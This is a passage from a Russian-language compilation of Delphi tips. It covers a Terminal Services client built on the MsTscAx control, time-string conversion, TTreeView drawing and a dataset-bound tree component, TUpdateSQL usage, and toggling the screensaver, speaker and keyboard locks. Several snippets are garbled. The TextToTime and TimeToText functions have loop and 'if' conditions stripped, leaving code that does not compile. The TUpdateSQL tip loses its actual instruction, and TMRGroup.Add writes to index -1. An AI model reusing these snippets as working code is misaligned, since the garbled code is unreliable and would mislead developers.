ответственности за порядок сортировки при неуникальных ключах.
Создать Terminal Services Client.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
"WINDOWS2000 SERVER" / "WINDOWS XP" terminal services are very important in a computer
network: each client computer can emulate server's desktop by using a simple executable
named "mstsc.exe". This executable uses the ActiveX control "MStscax" defined in
"mstscax.dll".
These files are automatically installed in Windows XP and Windows 2000 Server but not
in Windows2000 Professional or Windows98. You can download the entire package containing
these file at the following url:
http://www.microsoft.com/windows2000/downloads/recommended/TSAC/tsmsi.asp?Lang=
After downloading the executable "tsmsisetup.exe", run it to unpack. Now let's
take into consideration the folder "System32": this is the folder containing
"mstsc.exe" and "mstscax.dll".
Now register the ActiveX control "MsTscAx":
1)Start->Run->
2)type the following command line: regsvr32 <path to mstscax.dll>\mstscax.dll
where <path to mstscax.dll> is the complete path to the file "mstscax.dll".
In this article I will show you how to embed the ActiveX control "MsTscAx"
in a Delphi application in order to build a substitute of "mstsc.exe".
First of all you must import the ActiveX control "mstscax":
in the Delphi IDE:
1)Component->Import ActiveX Control
2)Select "Microsoft Terminal Services Control"
the class name will be "TMsTscAx"
3)Select the unit dir name and press "Create Unit": you have created the import Unit.
4)Create a package or select an existing one and add the created unit to this package
Recompile the package and now delphi palette will contain (in the ActiveX tab if you
haven't changed it in the importing process) the MstScax component.
Now create a new Delphi project and add the Mstscax component to it.
Let's go to analize the interesting properties of this new component:
1)Server: this is the IP of the Windows2000 Server computer whose desktop we want
to emulate
2)BitmapPeristence:
1 if you want to cache Bitmaps or 0 otherwise
3)Compress:
1 if you want to cache data or 0 otherwise
With the "Connect" method I open a terminal emulation session.
With the "Disconnect" method I disconnect from a terminal emulation session but the
session itself isn't closed on the server.
Another important feature of "Client Terminal Service" is the ability to define a
program that automatically run when the client machine opens a terminal
emulation session. You can programatically achieve this target in this manner:
Set_StartProgram(<Path to Exe>\<Exe filename>);
Once defined an automatically running program, the client computer will see a remote
desktop which is clear except for the presence of the program itself; this is
useful if you want to restrict the operative range of your client computers to the
program itself. When the program is closed, the connection is closed and the session
on the windows 2000 server computer is closed.
this is the code of my example project:
}
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
OleCtrls, ExtCtrls, StdCtrls,
MSTSCLib_TLB;//the import Unit: substitute it with the name you assigned
//during the import process if this is different to it
type
TForm1 = class(TForm)
MsTscAx1: TMsTscAx;
Panel1: TPanel;
btConnect: TButton;
procedure btConnectClick(Sender: TObject); //connection button
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure MsTscAx1Disconnected(Sender: TObject;
DisconnectReason: Integer);
procedure MsTscAx1Connecting(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.btConnectClick(Sender: TObject);
begin
MsTscAx1.Connect;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Left := 0;
Top := 0;
Height := Screen.Height - 20;
Width := Screen.Width;
MsTscAx1.Server := '1.2.3.4'; //substitute it with the IP Address of your server
with MsTscAx1.AdvancedSettings do
begin
BitmapPeristence := 1;//enable bitmap cache
Compress := 1;//enable data cache
end;
with MsTscAx1.SecuredSettings do
begin
Set_StartProgram('C:\Sviluppo\Delphi\DbBrowser.exe');
//the program I want to run
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if not btConnect.Enabled then
//I must close the automatically running program before closing
//my terminal emulation program
begin
MessageDlg('Close "DbBrowser.exe" before closing the application!',
mtInformation, [mbOK], 0);
Action := caNone;
end;
end;
procedure TForm1.MsTscAx1Disconnected(Sender: TObject;
DisconnectReason: Integer);
begin
btConnect.Enabled := True;
end;
procedure TForm1.MsTscAx1Connecting(Sender: TObject);
begin
btConnect.Enabled := False;
end;
end.
{
In order to run this application in another computer you must copy the file
"mstscax.dll" on the target
computer and register it with "regsvr32" as shown at the beginning of this
article. You can automate this
process by embedding the file in your executable, etc..
Carlo Pasolini, Riccione(Italy), ccpasolini@libero.it
}
Использовать TTime для более 24 часов.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function TextToTime(S: string): Integer;
var
p, i: Integer;
Sh, Sm, Ss: string;
begin
Sh := '';
SM := '';
SS := '';
i := 1;
p := 0;
while i do
begin
if (s[i] <> ':') then
begin
case P of
0: SH := Sh + s[i];
1: SM := SM + S[i];
2: SS := SS + S[i];
end;
end
else
Inc(p);
Inc(i);
end;
try
Result := (StrToInt(SH) * 3600) + (StrToInt(SM) * 60) + (StrToInt(SS))
except
Result := 0;
end;
end;
function TimeToText(T: Integer): string;
var
H, M, S: string;
ZH, ZM, ZS: Integer;
begin
ZH := T div 3600;
ZM := T div 60 - ZH * 60;
ZS := T - (ZH * 3600 + ZM * 60);
if ZH then H := '0' + IntToStr(ZH)
else
H := IntToStr(ZH);
if ZM then M := '0' + IntToStr(ZM)
else
M := IntToStr(ZM);
if ZS then S := '0' + IntToStr(ZS)
else
S := IntToStr(ZS);
Result := H + ':' + M + ':' + S;
end;
TTreeView. Проблемы CustomDraw.
Автор: Rustam Kafarov При использовании компонента TTreeView возникают проблемы при собственной отрисовке содержимого компонента в событиях OnCustomDraw, OnCustomDrawItem, OnAdvancedCustomDraw, OnAdvancedCustomDrawItem. Проблема проявляется когда свойства Canvas компонента устанавливаются вторично. К примеру, при попытке изменить цвет фонта во второй раз, соотвествующих изменений НЕ ПОСЛЕДУЕТ. Тоже самое и со свойствами Brush, Pen. Проверено на Дельфи 5.Контрольный пример (на форме TTreeView и TCheckBox):
procedure TForm1.TreeView1AdvancedCustomDrawItem(Sender: TCustomTreeView;
Node: TTreeNode; State: TCustomDrawState; Stage: TCustomDrawStage;
var PaintImages, DefaultDraw: Boolean);
var
ARect: TRect;
S: string;
begin
if not CheckBox1.Checked then
Exit;
case Stage of
cdPostPaint:
begin
ARect := Node.DisplayRect(True);
ARect.Right := TreeView1.ClientWidth;
with TreeView1.Canvas do
begin
if cdsSelected in State then
Brush.Color := clHighlight
else
Brush.Color := clWindow;
FillRect(ARect);
Font.Color := clGreen;
S := 'AbsoluteIndex : ' + IntToStr(Node.AbsoluteIndex);
TextOut(ARect.Left, ARect.Top, S);
// цвет шрифта должен поменяться!!!
Font.Color := clBlue;
// Но он не меняется :-(((
TextOut(ARect.Left + TextWidth(S) + 20, ARect.Top, Node.Text);
end;
end;
end; { Case }
end;
procedure TForm1.CheckBox1Click(Sender: TObject);
begin
TreeView1.Repaint;
end;
|
При присваивании Font.Color изменяется только внутреннее поле FColor. В методе TCanvas.TextOut не выполняется SetTextColor(FHandle, ColorToRGB(FFont.Color)), как это сделано в TCanvas.Draw. Следовательно, мы имеем более глобальную проблему, чем рисование узлов дерева вручную.
TreeView - компонент для показа dataset в виде дерева с сохранением.
Автор: Валентин WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> TreeView - компонент для показа dataset в виде дерева с сохранением
Цель создания: необходимость быстрого выбора товара из справочника в виде дерева.
Компонент для визуализации дерева из таблицы. привязка к полям не ведется.
Ключевое поле находится в node.stateindex.
Использует 4 иконки для узлов и позиций, где 0-невыбранный узел,
1- выбранный узел, 2- невыбранный пункт, 3- выбранный пункт.
Необходимо выбрать datasource. вписать id, parentid.
Заполнение методом MRRefresh.
Сохранение в файл методом
MRPSaveToFile(ProgPath+'NameTree.tree').
Загрузка из файла соответственно MRPLoadFromFile(ProgPath+'NameTree.tree').
Кроме того поддерживаются метода последовательно поиска в обоих направлениях.
Зависимости: Windows, Messages, SysUtils, Classes, Controls, ComCtrls,DB,DBCtrls
Автор: Валентин, visor123@ukr.net, Днепропетровск
Copyright: Собственная разработка.
Дата: 9 апреля 2003 г.
***************************************************** }
unit GRTreeView;
interface
uses
Windows, Messages, SysUtils, Classes, Controls, ComCtrls, DB, DBCtrls,
Dialogs;
type
TMRGroupRec = record
ID, MasterID, Level: integer;
MainName: string;
end;
TMRGroup = class(TPersistent)
private
fCount: integer;
protected
procedure SetCount(value: integer);
public
items: array of TMRGroupRec;
property Count: integer read fCount write SetCount;
constructor Create;
destructor destroy; override;
procedure Clear;
procedure Add(AID, AMasterID: integer; AMainName: string);
function GetIndexByMasterID(AMasterID: integer): integer;
end;
TGRTreeView = class(TTreeView)
private
{ Private declarations }
fDataSource: TDataLink;
fFeyField: TFieldDataLink;
fMasterFeyField: TFieldDataLink;
fNameField: TFieldDataLink;
// fRootName:string;
fSeparator: Char;
fLock: Boolean;
fSearchIndex: integer;
function GetBufStart(Buffer: PChar; var Level: Integer): PChar;
protected
{ Protected declarations }
function GetDataSource: TDataSource;
procedure SetDataSource(value: TDataSource);
function GetKeyField: string;
procedure SetKeyField(value: string);
function GetMasterKeyField: string;
procedure SetMasterKeyField(value: string);
function GetNameField: string;
procedure SetNameField(value: string);
procedure SetSeparator(value: char);
procedure GetImageIndex(Node: TTreeNode); override;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor destroy; override;
function MRRefresh: Boolean;
procedure MRPLoadFromFile(const FileName: string); overload;
procedure MRPLoadFromFile(const FileName: string; RootName: string);
overload;
procedure MRPLoadFromStream(Stream: TStream);
procedure MRPSaveToFile(const FileName: string);
procedure MRPSaveToStream(Stream: TStream);
function MRGetIndexByText(AText: string): integer;
function MRGetIndexByMasterID(MasterID: integer): integer;
function MRGetIndexByMasterIDRecurse(MasterID: integer): integer;
function MRSearchByText(AText: string; Next: Boolean = True; UseSearchIndex:
Boolean = false): integer;
published
{ Published declarations }
property Separator: char read fSeparator write SetSeparator;
property DataSource: TDataSource read GetDataSource write SetDataSource;
property KeyField: string read GetKeyField write SetKeyField;
property MasterField: string read GetMasterKeyField write SetMasterKeyField;
property NameField: string read GetNameField write SetNameField;
end;
procedure Register;
implementation
//var
// MGRGroup:array of TMRGroup;
procedure Register;
begin
RegisterComponents('Visor', [TGRTreeView]);
end;
{ TGRTreeView }
constructor TGRTreeView.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
fDataSource := TDataLink.Create;
fFeyField := TFieldDataLink.Create;
fFeyField.Control := self;
fMasterFeyField := TFieldDataLink.Create;
fMasterFeyField.Control := self;
fNameField := TFieldDataLink.Create;
fNameField.Control := self;
fSeparator := '^';
fLock := false;
HideSelection := false;
fSearchIndex := -1;
end;
destructor TGRTreeView.destroy;
begin
fNameField.Free;
fNameField := nil;
fFeyField.Free;
fFeyField := nil;
fDataSource.Free;
fDataSource := nil;
inherited;
end;
function TGRTreeView.GetBufStart(Buffer: PChar; var Level: Integer): PChar;
begin
Level := 0;
while Buffer^ in [' ', #9] do
begin
Inc(Buffer);
Inc(Level);
end;
Result := Buffer;
end;
function TGRTreeView.GetDataSource: TDataSource;
begin
Result := fDataSource.DataSource;
end;
procedure TGRTreeView.MRPLoadFromFile(const FileName: string);
var
Stream: TStream;
FNT, FNR, Ex: string;
begin
if not FileExists(FileName) then
Exit;
Ex := ExtractFileExt(FileName);
if Ex = '' then
begin
FNT := ExtractFileName(FileName) + '.tree';
FNR := ExtractFileName(FileName) + '.ini';
end
else
begin
FNT := ExtractFileName(FileName);
FNT := Copy(FNT, 0, pos('.', FNT) - 1);
FNR := FNT + '.ini';
FNT := FNT + '.tree';
end;
FNT := ExtractFilePath(FileName) + FNT;
FNR := ExtractFilePath(FileName) + FNR;
Stream := TFileStream.Create(FNT, fmOpenRead);
try
MRPLoadFromStream(Stream);
finally
Stream.Free;
end;
end;
function TGRTreeView.MRGetIndexByText(AText: string): integer;
var
i: integer;
begin
if Items.Count = 0 then
begin
Result := -1;
Exit;
end;
for i := 0 to Items.Count - 1 do
begin
if Items.Item[i].Text = AText then
begin
Result := i;
Exit;
end;
end;
Result := -1;
end;
procedure TGRTreeView.MRPLoadFromFile(const FileName: string;
RootName: string);
var
FNT, FNR, Ex: string;
ANode: TTreeNode;
begin
if not FileExists(FileName) then
Exit;
Ex := ExtractFileExt(FileName);
if Ex = '' then
begin
FNT := ExtractFileName(FileName) + '.tree';
FNR := ExtractFileName(FileName) + '.ini';
end
else
begin
FNT := ExtractFileName(FileName);
FNT := Copy(FNT, 0, pos('.', FNT) - 1);
FNR := FNT + '.ini';
FNT := FNT + '.tree';
end;
FNT := ExtractFilePath(FileName) + FNT;
FNR := ExtractFilePath(FileName) + FNR;
if (not FileExists(FNT)) or (not FileExists(FNR)) then
begin
ANode := Items.Add(nil, RootName);
ANode.StateIndex := 0;
Self.MRPSaveToFile(FileName);
end
else
begin
MRPLoadFromFile(FileName);
end;
end;
procedure TGRTreeView.MRPLoadFromStream(Stream: TStream);
var
List: TStringList;
ANode, NextNode: TTreeNode;
ALevel, i, AStateIndex: Integer;
CurrStr, Buff: string;
begin
Items.Clear;
List := TStringList.Create;
Items.BeginUpdate;
try
try
List.Clear;
List.LoadFromStream(Stream);
ANode := nil;
for i := 0 to List.Count - 1 do
begin
CurrStr := GetBufStart(PChar(List[i]), ALevel);
AStateIndex := -1;
if pos(fSeparator, CurrStr) > 0 then
begin
Buff := Copy(CurrStr, pos(fSeparator, CurrStr) + 1, length(CurrStr) -
pos(fSeparator, CurrStr));
if Buff <> '' then
AStateIndex := StrToInt(Buff);
// Delete(CurrStr,pos(CurrStr,fSeparator),length(CurrStr)-pos(CurrStr,fSeparator)-1);
buff := Copy(CurrStr, 0, pos(fSeparator, CurrStr) - 1);
CurrStr := Buff;
end;
if ANode = nil then
begin
ANode := Items.AddChild(nil, CurrStr);
if AStateIndex <> -1 then
ANode.StateIndex := AStateIndex;
end
else if ANode.Level = ALevel then
begin
ANode := Items.AddChild(ANode.Parent, CurrStr);
if AStateIndex <> -1 then
ANode.StateIndex := AStateIndex;
end
else if ANode.Level = (ALevel - 1) then
begin
ANode := Items.AddChild(ANode, CurrStr);
if AStateIndex <> -1 then
ANode.StateIndex := AStateIndex;
end
else if ANode.Level > ALevel then
begin
NextNode := ANode.Parent;
while NextNode.Level > ALevel do
NextNode := NextNode.Parent;
ANode := Items.AddChild(NextNode.Parent, CurrStr);
if AStateIndex <> -1 then
ANode.StateIndex := AStateIndex;
end;
// else TreeViewErrorFmt(sInvalidLevelEx, [ALevel, CurrStr]);
end;
finally
Items.EndUpdate;
List.Free;
end;
except
Items.Owner.Invalidate; // force repaint on exception see VCL
raise;
end;
if Items.Count > 0 then
Items.Item[0].Expand(false);
end;
procedure TGRTreeView.MRPSaveToFile(const FileName: string);
var
Stream: TStream;
FNT, FNR, Ex: string;
begin
Ex := ExtractFileExt(FileName);
if Ex = '' then
begin
FNT := ExtractFileName(FileName) + '.tree';
FNR := ExtractFileName(FileName) + '.ini';
end
else
begin
FNT := ExtractFileName(FileName);
FNT := Copy(FNT, 0, pos('.', FNT) - 1);
FNR := FNT + '.ini';
FNT := FNT + '.tree';
end;
FNT := ExtractFilePath(FileName) + FNT;
FNR := ExtractFilePath(FileName) + FNR;
Stream := TFileStream.Create(FNT, fmCreate);
try
flock := True;
MRPSaveToStream(Stream);
finally
Stream.Free;
flock := false;
end;
end;
procedure TGRTreeView.MRPSaveToStream(Stream: TStream);
const
TabChar = #9;
EndOfLine = #13#10;
var
i: Integer;
ANode: TTreeNode;
NodeStr: string;
begin
if Items.Count > 0 then
begin
ANode := Items.Item[0];
while ANode <> nil do
begin
NodeStr := '';
for i := 0 to ANode.Level - 1 do
NodeStr := NodeStr + TabChar;
NodeStr := NodeStr + ANode.Text + fSeparator + IntToStr(ANode.StateIndex)
+ EndOfLine;
Stream.Write(Pointer(NodeStr)^, Length(NodeStr));
ANode := ANode.GetNext;
end;
end;
end;
function TGRTreeView.MRRefresh: boolean;
var
i: integer;
ANode, NextNode: TTreeNode;
MGroup: TMRGroup;
begin
if (fDataSource.DataSet = nil) or (KeyField = '') or (MasterField = '') or
(NameField = '') then
begin
Result := false;
Exit;
end;
if not fDataSource.DataSet.Active then
fDataSource.DataSet.Open
else
begin
fDataSource.DataSet.Close;
fDataSource.DataSet.Open;
end;
fDataSource.DataSet.DisableControls;
MGroup := TMRGroup.Create;
MGroup.Clear;
try
while not fDataSource.DataSet.Eof do
begin
MGroup.Add(DataSource.DataSet.FieldByName(KeyField).AsInteger,
DataSource.DataSet.FieldByName(MasterField).AsInteger,
DataSource.DataSet.FieldByName(NameField).AsString);
fDataSource.DataSet.Next;
end;
items.Clear;
Items.BeginUpdate;
fLock := True;
ANode := nil;
for i := 0 to MGroup.Count - 1 do
begin
if ANode = nil then
begin
ANode := Items.AddChild(nil, MGroup.Items[i].MainName);
ANode.StateIndex := MGroup.items[i].ID;
end
else if ANode.Level = (MGroup.items[i].Level) then
begin
ANode := items.AddChild(ANode.Parent, MGroup.items[i].MainName);
ANode.StateIndex := MGroup.items[i].ID;
end
else if ANode.Level = (MGroup.items[i].Level - 1) then
begin
ANode := Items.AddChild(ANode, MGroup.items[i].MainName);
ANode.StateIndex := MGroup.items[i].ID;
end
else if ANode.Level > MGroup.items[i].Level then
begin
NextNode := ANode.Parent;
while NextNode.Level > MGroup.items[i].Level do
NextNode := NextNode.Parent;
ANode := Items.AddChild(NextNode.Parent, MGroup.items[i].MainName);
ANode.StateIndex := MGroup.items[i].ID;
end;
{ else if ANode.Level > MGroup.items[i].Level then
begin
NextNode := ANode.Parent;
while NextNode.Level > MGroup.items[i].Level do
NextNode := NextNode.Parent;
ANode := Items.AddChild(NextNode.Parent, MGroup.items[i].MainName);
ANode.StateIndex:=MGroup.items[i].ID;
end;}
end;
finally
fDataSource.DataSet.First;
fDataSource.DataSet.EnableControls;
//ShowMessage('Tree count='+IntToStr(Items.Count)+' MGroup count='+IntToStr(MGroup.Count));
MGroup.Free;
fLock := false;
end;
Items.EndUpdate;
if Items.Count > 0 then
Items.Item[0].Expand(false);
Result := True;
end;
procedure TGRTreeView.SetDataSource(value: TDataSource);
begin
fDataSource.DataSource := value;
end;
function TGRTreeView.MRGetIndexByMasterID(MasterID: integer): integer;
var
i: integer;
begin
if Items.Count = 0 then
begin
Result := -1;
exit;
end;
for i := 0 to Items.Count - 1 do
begin
if Items.Item[i].StateIndex = MasterID then
begin
Result := i;
Exit;
end;
end;
Result := -1;
end;
function TGRTreeView.GetKeyField: string;
begin
Result := fFeyField.FieldName;
end;
function TGRTreeView.GetMasterKeyField: string;
begin
Result := fMasterFeyField.FieldName;
end;
function TGRTreeView.GetNameField: string;
begin
Result := fNameField.FieldName;
end;
procedure TGRTreeView.SetKeyField(value: string);
begin
fFeyField.FieldName := value;
end;
procedure TGRTreeView.SetMasterKeyField(value: string);
begin
fMasterFeyField.FieldName := value;
end;
procedure TGRTreeView.SetNameField(value: string);
begin
fNameField.FieldName := value;
end;
procedure TGRTreeView.SetSeparator(value: char);
begin
fSeparator := value;
end;
procedure TGRTreeView.GetImageIndex(Node: TTreeNode);
begin
if fLock then
Exit;
inherited;
if Node.getFirstChild <> nil then
begin
Node.ImageIndex := 0;
Node.SelectedIndex := 1;
end
else
begin
Node.ImageIndex := 2;
Node.SelectedIndex := 3;
end;
end;
function TGRTreeView.MRGetIndexByMasterIDRecurse(
MasterID: integer): integer;
var
i: integer;
begin
if Items.Count = 0 then
begin
Result := -1;
exit;
end;
for i := Items.Count - 1 downto 0 do
begin
if Items.Item[i].StateIndex = MasterID then
begin
Result := i;
Exit;
end;
end;
Result := -1;
end;
function TGRTreeView.MRSearchByText(AText: string; Next: Boolean = True;
UseSearchIndex: Boolean = false): integer;
var
i, iStart, iEnd: integer;
sel: TList;
f: boolean;
begin
if Items.Count = 0 then
begin
Result := -1;
fSearchIndex := -1;
Exit;
end;
if Next then
begin
if (UseSearchIndex) and (fSearchIndex <> -1) then
iStart := fSearchIndex + 1
else
iStart := 0;
iEnd := Items.Count - 1;
end
else
begin
if (UseSearchIndex) and (fSearchIndex <> -1) then
iStart := fSearchIndex - 1
else
iStart := Items.Count - 1;
iEnd := 0;
end;
i := iStart;
f := true;
repeat
if pos(AnsiUpperCase(AText), AnsiUpperCase(Items.Item[i].Text)) > 0 then
begin
Result := i;
fSearchIndex := i;
sel := TList.Create;
sel.Add(Items.Item[i]);
Select(Sel);
sel.Free;
Exit;
end;
if Next then
begin
inc(i);
if i > iEnd then
f := false;
end
else
begin
dec(i);
if i < iEnd then
f := false;
end;
until f <> true;
Result := -1;
fSearchIndex := -1;
end;
{ TMRGroup }
procedure TMRGroup.Add(AID, AMasterID: integer; AMainName: string);
var
idx: integer;
begin
inc(fCount);
SetLength(items, fCount);
items[fCount - 1].ID := AID;
items[fCount - 1].MasterID := AMasterID;
items[fCount - 1].MainName := AMainName;
idx := GetIndexByMasterID(AMasterID);
if idx = -1 then
begin
items[idx].Level := 0;
end
else
begin
items[fCount - 1].Level := items[idx].Level + 1;
end;
end;
procedure TMRGroup.Clear;
begin
items := nil;
fCount := 0;
end;
constructor TMRGroup.Create;
begin
inherited;
fCount := 0;
end;
destructor TMRGroup.destroy;
begin
items := nil;
inherited;
end;
function TMRGroup.GetIndexByMasterID(AMasterID: integer): integer;
var
i: integer;
begin
if (fCount = 0) then
begin
Result := -1;
Exit;
end;
for i := 0 to fCount - 1 do
begin
if items[i].ID = AMasterID then
begin
Result := i;
Exit;
end;
end;
Result := -1;
end;
procedure TMRGroup.SetCount(value: integer);
begin
fCount := value;
end;
end.
Показываем директории в TTreeView.
procedure TForm1.GetDirectories(Tree: TTreeView; Directory: string;
Item: TTreeNode; IncludeFiles: Boolean);
var
SearchRec: TSearchRec;
ItemTemp: TTreeNode;
begin
Tree.Items.BeginUpdate;
if Directory[Length(Directory)] <> '\' then Directory := Directory + '\';
if FindFirst(Directory + '*.*', faDirectory, SearchRec) = 0 then
begin
repeat
if (SearchRec.Attr and faDirectory = faDirectory) and
(SearchRec.Name[1] <> '.') then
begin
if (SearchRec.Attr and faDirectory > 0) then
Item := Tree.Items.AddChild(Item, SearchRec.Name);
ItemTemp := Item.Parent;
GetDirectories(Tree, Directory + SearchRec.Name, Item, IncludeFiles);
Item := ItemTemp;
end
else if IncludeFiles then
if SearchRec.Name[1] <> '.' then
Tree.Items.AddChild(Item, SearchRec.Name);
until FindNext(SearchRec) <> 0;
FindClose(SearchRec);
end;
Tree.Items.EndUpdate;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
Node: TTreeNode;
Path: string;
Dir: string;
begin
Dir := 'c:\temp';
Screen.Cursor := crHourGlass;
TreeView1.Items.BeginUpdate;
try
TreeView1.Items.Clear;
GetDirectories(TreeView1, Dir, nil, True);
finally
Screen.Cursor := crDefault;
TreeView1.Items.EndUpdate;
end;
end;
|
Получить строковый путь в TTreeView.
function SrNodeTree(pTreeNode: TTreeNode; var sRuta: string): string;
begin
sRuta := pTreeNode.Text + ' > ' + sRuta;
if pTreeNode.Level = 0 then Result := sRuta
else
Result := SrNodeTree(pTreeNode.Parent, sRuta);
end;
{*---------------------------------------------
Click an Item
---------------------------------------------*}
procedure TForm1.TreeView1Click(Sender: TObject);
var
sPath: string;
begin
label1.Caption := SrNodeTree(TreeView1.Selected, sPath);
end;
|
Сохранить и загрузить TTreeView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Treeview1.SaveToFile('...') doesn't store images.
Instead, use the code below.
}
{
Treeview1.SaveToFile('...') speichert Bitmaps im Treeview nicht.
Um auch die Bitmaps eines Treeviews zu speichern,
benutze untenstehenden Code.
}
// Save
procedure TForm1.Button1Click(Sender: TObject);
var
F: TFileStream;
begin
F := TFileStream.Create('c:\TreeView.txt', fmCreate or fmShareCompat);
try
F.WriteComponent(TreeView1);
finally
F.Free;
end;
end;
// Load
procedure TForm1.Button2Click(Sender: TObject);
var
F: TFileStream;
begin
F := TFileStream.Create('c:\TreeView.txt', fmOpenRead or fmShareDenyWrite);
try
F.ReadComponent(TreeView1);
finally
F.Free;
end;
end;
Принцип и порядок работы с TUpdateSQL для работы с неживыми запросами.
Автор: Nomadic.
Кидаешь UpdateSQL на форму, после чего в том SQL, который ты собираешься редактировать, устанавливаешь в UpdateObject имя этого UpdateSQL. После этих дел по дабл-клику на UpdateSQL выдаётся редактор, в котором ты должен для каждой из таблиц,входящих в твой запрос, указать набор полей, являющихся уникальным ключём таблицы, и набор полей, которые требуется редактировать. В общем случае возможны глюки с редактированием, если в числе изменяемых полей будут элементы ключа. Указав все поля, давишь кнопку Generate SQL и в результате у тебя генерятся запросы на редактирование, добавление и удаление, которые прописываются в том же UpdateSQL. Обычно эти запросы никакого дополнительного редактирования не требуют. После всех этих дел ты можешь нормально редактировать запрос, как обычную таблицу. Некоторые моменты. Для того, чтобы всё это нормально работало, нужно, чтобы в TQuery были включены RequestLive и CashedUpdates. Соответственно, для подтверждения изменений нужно вызывать TQuery.ApplyUpdates и TQuery.CommitUpdates, либо TDatabase.ApplyUpdates, а для отмены - CancelUpdates. Если меняешь структуру таблиц, то не забывай менять списки полей в UpdateSQL, иначе можешь получить неприятный сюрприз - будешь долго сидеть и думать, почему при редактировании/добавлении некоторые поля не прописываются :-). Насчёт CachedUpdates. Сия хреновина придумана для того, чтобы обеспечить сохранение/отмену редактирования/добавления/удаления сразу нескольких записей. Принцип совершенно элементарен: если CachedUpdates включен, то все производимые изменения в датасете по команде Post фиксируются не в базе, а во временном файле на винте клиента. Для того, чтобы прописать изменения в таблице (физически), необходимо вызвать для соответствующего запроса последовательно методы ApplyUpdates и CommitUpdates, а для отмены ВСЕХ изменений (начиная от последнего выполненного CommitUpdates), вызвать CancelUpdates. Кроме того, метод ApplyUpdates у TDataBase. Этому методу нужен список датасетов, и он производит их обновление в одной транзакции.Практическое применение, например, такое: на форме редактирования с гридом и набором кнопок Добавить, Удалить, Редактировать, ОК, Отмена, вешаешь на первые три кнопки обработчики с Insert, Delete и Edit соответственно, на ОК - такой примерно обработчик:
with DataSet do
begin
if State in [dsEdit,dsInsert] then
Post;
ApplyUpdates;
CommitUpdates;
end;
|
А на Отмену такой:
with DataSet do
begin
if State in [dsEdit,dsInsert] then
Cancel;
CancelUpdates;
end;
|
Лучше использовать конструкцию "State in dsEditModes".
TUpdateSQL. Выполнение нескольких SQL команд.
Автор: Андрей Камбалов Огорворимся сразу. Под SQL сервером подразумеваются сервера, выполняющие SQL запросы, к ним относятся Oracle, MS SQL, InterBase и т.д. В стандартной поставке Delphi TUpdateSQL позволяет выполнить только одну SQL команду, но возникает ситуация, когда желательно выполнить сразу несколько команд (например: удаление из двух таблиц одновременно, когда нет возможности установить каскадное удаление (DBF, DB)) или запустить процедуру на SQL сервере. В этом случае можно обойти ограничение, навязанное Delphi в виде ошибки Update Failed, возникающей при сохранении данных. ТИПОВЫЕ РЕШЕНИЯ Как это сделать:В каталоге {DELPHI$}\Source\VCL\ есть файл DBTABLES.PAS. Открываем его и находим следующий код:
procedure TUpdateSQL.ExecSQL(UpdateKind: TUpdateKind);
begin
with Query[UpdateKind] do
begin
Prepare;
ExecSQL;
if RowsAffected <> 1 then
DatabaseError(SUpdateFailed);
end;
end;
|
if RowsAffected <> 1 then DatabaseError(SUpdateFailed); |
Но, как говорится, "Не уверен - не обгоняй".
Как отключить хранитель экрана.
| Автор: Олег Кулабухов |
| Встречаются два юзера. Один другому: - Что-то лицо мне ваше знакомо, вы в скринсейверах не снимались? |
procedure TForm1.Button1Click(Sender: TObject);
begin
{Turn it off}
SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 0, nil, 0);
{Turn it on}
SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1, nil, 0);
end;
|
Как выключит спикер.
| Автор: Nomadic |
| Сидит программист дома (работает)... Подходит жена и подносит чашку кофе. Муж: (отхлебнув глоток) Ты же знаешь, что я люблю кофе без сахара! Жена: Да, любимый, просто очень захотела услышать твой голос. |
Это выключит спикер:
SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE); |
Это включит:
SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE); |
Как включить Caps Lock.
procedure TMyForm.Button1Click(Sender: TObject);
Var
KeyState: TKeyboardState;
begin
GetKeyboardState(KeyState);
if (KeyState[VK_NUMLOCK] = 0) then
KeyState[VK_NUMLOCK] := 1
else
KeyState[VK_NUMLOCK] := 0;
SetKeyboardState(KeyState);
end;
|
Для Caps Lock замените VK_NUMLOCK на VK_CAPITAL.
Включение и выключение закладки Notebook.
| Автор: Ralph Friedman |
| Выключать компьютер - Шататься дауном. |
Вот хороший трюк от Xavier Pacheco:
unit TabDis;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls, TabNotBk;
type
TFrmTabDis = class(TForm)
TabbedNotebook1: TTabbedNotebook;
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
var
FrmTabDis: TFrmTabDis;
implementation
{$R *.DFM}
procedure TFrmTabDis.FormCreate(Sender: TObject);
var
i: integer;
j: integer;
begin
{ Создаем имена для всех Notebook TTabButton }
j := 0;
with TabbedNotebook1 do
for i := 0 to ControlCount - 1 do
if Controls[i].ClassName = 'TTabButton' then
begin
Controls[i].Name := Controls[i].ClassName + IntToStr(j);
Inc(j);
end;
end;
procedure TFrmTabDis.Button1Click(Sender: TObject);
begin
{ Делаем недоступной определенную страницу notebook }
with TControl(TabbedNotebook1.FindComponent('TTabButton2')) do
Enabled := not Enabled;
end;
end.
|
Как программно включить или выключить NumLock.
| Хотите получить много $$$$$, все очень просто, от вас практически ничего не требуется, прсто нажмите клавишу Shift и удерживая ее - клавишу 4. |
